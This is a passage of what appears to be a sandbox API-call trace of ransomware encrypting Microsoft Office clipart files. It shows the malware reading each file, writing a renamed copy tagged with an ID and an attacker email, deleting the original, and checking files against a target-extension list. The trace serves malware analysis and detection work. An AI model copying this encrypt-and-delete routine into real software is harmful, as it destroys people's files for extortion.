	[0165.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0165.252] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.252] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0165.254] GetLastError () returned 0x0
	[0165.254] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4b28, lpOverlapped=0x0) returned 1
	[0165.264] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4b30, lpOverlapped=0x0) returned 1
	[0165.266] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.266] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.266] SetEndOfFile (hFile=0x48c) returned 1
	[0165.828] CloseHandle (hObject=0x48c) returned 1
	[0165.828] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.828] SetEndOfFile (hFile=0x53c) returned 1
	[0165.873] CloseHandle (hObject=0x53c) returned 1
	[0165.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1
	[0165.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0165.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0165.874] lstrlenW (lpString=".doc") returned 4
	[0165.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.874] lstrlenW (lpString=".docx") returned 5
	[0165.874] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.874] lstrlenW (lpString=".pdf") returned 4
	[0165.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.874] lstrlenW (lpString=".xls") returned 4
	[0165.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.874] lstrlenW (lpString=".xlsx") returned 5
	[0165.874] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.874] lstrlenW (lpString=".ppt") returned 4
	[0165.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0165.874] lstrlenW (lpString=".zip") returned 4
	[0165.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.874] lstrlenW (lpString=".rar") returned 4
	[0165.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.874] lstrlenW (lpString=".bz2") returned 4
	[0165.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.875] lstrlenW (lpString=".7z") returned 3
	[0165.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0165.875] lstrlenW (lpString=".dbf") returned 4
	[0165.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0165.875] lstrlenW (lpString=".1cd") returned 4
	[0165.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0165.875] lstrlenW (lpString=".jpg") returned 4
	[0165.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.879] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=5504) returned 1
	[0165.879] CloseHandle (hObject=0x53c) returned 1
	[0165.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220
	[0165.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0165.880] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.880] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0165.881] GetLastError () returned 0x0
	[0165.881] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1580, lpOverlapped=0x0) returned 1
	[0165.891] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1590, lpOverlapped=0x0) returned 1
	[0165.892] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.892] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.892] SetEndOfFile (hFile=0x360) returned 1
	[0165.892] CloseHandle (hObject=0x360) returned 1
	[0165.892] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.892] SetEndOfFile (hFile=0x53c) returned 1
	[0165.898] CloseHandle (hObject=0x53c) returned 1
	[0165.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0165.900] lstrlenW (lpString=".doc") returned 4
	[0165.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString=".docx") returned 5
	[0165.901] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.901] lstrlenW (lpString=".pdf") returned 4
	[0165.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString=".xls") returned 4
	[0165.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.901] lstrlenW (lpString=".xlsx") returned 5
	[0165.901] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.901] lstrlenW (lpString=".ppt") returned 4
	[0165.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0165.901] lstrlenW (lpString=".zip") returned 4
	[0165.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.901] lstrlenW (lpString=".rar") returned 4
	[0165.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString=".bz2") returned 4
	[0165.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString=".7z") returned 3
	[0165.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0165.901] lstrlenW (lpString=".dbf") returned 4
	[0165.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0165.901] lstrlenW (lpString=".1cd") returned 4
	[0165.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0165.902] lstrlenW (lpString=".jpg") returned 4
	[0165.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.398] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=4320) returned 1
	[0166.398] CloseHandle (hObject=0x48c) returned 1
	[0166.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220
	[0166.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0166.783] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.783] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0166.785] GetLastError () returned 0x0
	[0166.785] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x10e0, lpOverlapped=0x0) returned 1
	[0166.786] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x10f0, lpOverlapped=0x0) returned 1
	[0166.788] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.788] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.788] SetEndOfFile (hFile=0x554) returned 1
	[0166.789] CloseHandle (hObject=0x554) returned 1
	[0166.789] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.789] SetEndOfFile (hFile=0x350) returned 1
	[0166.794] CloseHandle (hObject=0x350) returned 1
	[0166.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1
	[0166.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0166.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0166.796] lstrlenW (lpString=".doc") returned 4
	[0166.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.796] lstrlenW (lpString=".docx") returned 5
	[0166.796] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.796] lstrlenW (lpString=".pdf") returned 4
	[0166.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.796] lstrlenW (lpString=".xls") returned 4
	[0166.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.796] lstrlenW (lpString=".xlsx") returned 5
	[0166.796] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.796] lstrlenW (lpString=".ppt") returned 4
	[0166.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0166.796] lstrlenW (lpString=".zip") returned 4
	[0166.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.796] lstrlenW (lpString=".rar") returned 4
	[0166.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.796] lstrlenW (lpString=".bz2") returned 4
	[0166.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.796] lstrlenW (lpString=".7z") returned 3
	[0166.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0166.796] lstrlenW (lpString=".dbf") returned 4
	[0166.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0166.797] lstrlenW (lpString=".1cd") returned 4
	[0166.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0166.797] lstrlenW (lpString=".jpg") returned 4
	[0166.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.798] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=12380) returned 1
	[0166.798] CloseHandle (hObject=0x350) returned 1
	[0166.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220
	[0166.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0166.799] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.799] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0166.800] GetLastError () returned 0x0
	[0166.800] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x305c, lpOverlapped=0x0) returned 1
	[0166.803] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3060, lpOverlapped=0x0) returned 1
	[0166.804] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.805] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.805] SetEndOfFile (hFile=0x554) returned 1
	[0166.805] CloseHandle (hObject=0x554) returned 1
	[0166.805] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.805] SetEndOfFile (hFile=0x350) returned 1
	[0166.809] CloseHandle (hObject=0x350) returned 1
	[0166.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1
	[0166.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0166.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0166.811] lstrlenW (lpString=".doc") returned 4
	[0166.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.811] lstrlenW (lpString=".docx") returned 5
	[0166.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.811] lstrlenW (lpString=".pdf") returned 4
	[0166.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.812] lstrlenW (lpString=".xls") returned 4
	[0166.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.812] lstrlenW (lpString=".xlsx") returned 5
	[0166.812] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.812] lstrlenW (lpString=".ppt") returned 4
	[0166.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0166.812] lstrlenW (lpString=".zip") returned 4
	[0166.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.813] lstrlenW (lpString=".rar") returned 4
	[0166.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.813] lstrlenW (lpString=".bz2") returned 4
	[0166.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.813] lstrlenW (lpString=".7z") returned 3
	[0166.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0166.813] lstrlenW (lpString=".dbf") returned 4
	[0166.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0166.813] lstrlenW (lpString=".1cd") returned 4
	[0166.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0166.813] lstrlenW (lpString=".jpg") returned 4
	[0166.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.815] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=4964) returned 1
	[0166.815] CloseHandle (hObject=0x350) returned 1
	[0166.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220
	[0166.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0166.816] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.816] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0166.818] GetLastError () returned 0x0
	[0166.818] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1364, lpOverlapped=0x0) returned 1
	[0166.854] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0167.058] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.058] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.059] SetEndOfFile (hFile=0x554) returned 1
	[0167.059] CloseHandle (hObject=0x554) returned 1
